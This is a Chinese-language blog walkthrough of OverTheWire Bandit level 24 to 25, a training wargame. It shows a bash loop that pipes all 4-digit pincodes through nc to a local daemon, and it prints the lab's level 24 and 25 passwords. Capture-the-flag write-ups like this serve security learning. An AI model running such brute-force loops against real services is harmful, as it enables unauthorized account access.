235 字
1 分鐘
[OverTheWire] Bandit Level 24 → Level 25

Level Goal#

A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing. You do not need to create new connections each time

My Answer (Step by step)#

  1. 連線到伺服器並登入
Terminal window
ssh bandit24@bandit.labs.overthewire.org -p 2220
  1. 透過 mktemp 指令產生暫存資料夾,並透過 cd 指令進入它
Terminal window
mktemp -d
cd /tmp/tmp.xs599rbycC
  1. 透過 vim, vi, nano 等指令產生稍後要執行的腳本檔,並透過 chmod 指令修改權限以便執行
Terminal window
nano a.sh

a.sh

#!/bin/bash
PWD='gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8'
for n in `seq 1 9999`;
do
echo "$PWD $n"
done | nc localhost 30002
Terminal window
chmod 777 -R /tmp/tmp.xs599rbycC
  1. 執行它,即可獲得 Level 25 密碼!
Terminal window
./a.sh
# Wrong! Please enter the correct current password and pincode. Try again.
# Wrong! Please enter the correct current password and pincode. Try again.
# Wrong! Please enter the correct current password and pincode. Try again.
# Wrong! Please enter the correct current password and pincode. Try again.
# Wrong! Please enter the correct current password and pincode. Try again.
# Correct!
# The password of user bandit25 is iCi86ttT4KSNe1armKiwbQNmB3YJP3q4

第 25 篇,共 34 篇本文屬於系列

[OverTheWire] Bandit Level 24 → Level 25
https://m21248074.github.io/blog/posts/2025-01-24-post141801/
作者
Cavey (凱維)
發佈於
2025-01-24
許可協議
CC BY-NC-SA 4.0

分享文章

生成精美分享圖或複製連結,與更多人分享本文。

繼續閱讀

沿著主題讀

基於共同的標籤與分類

換條路線

從其他文章中穩定抽取

最後更新於 ,距今已過 631 天

部分內容可能已過時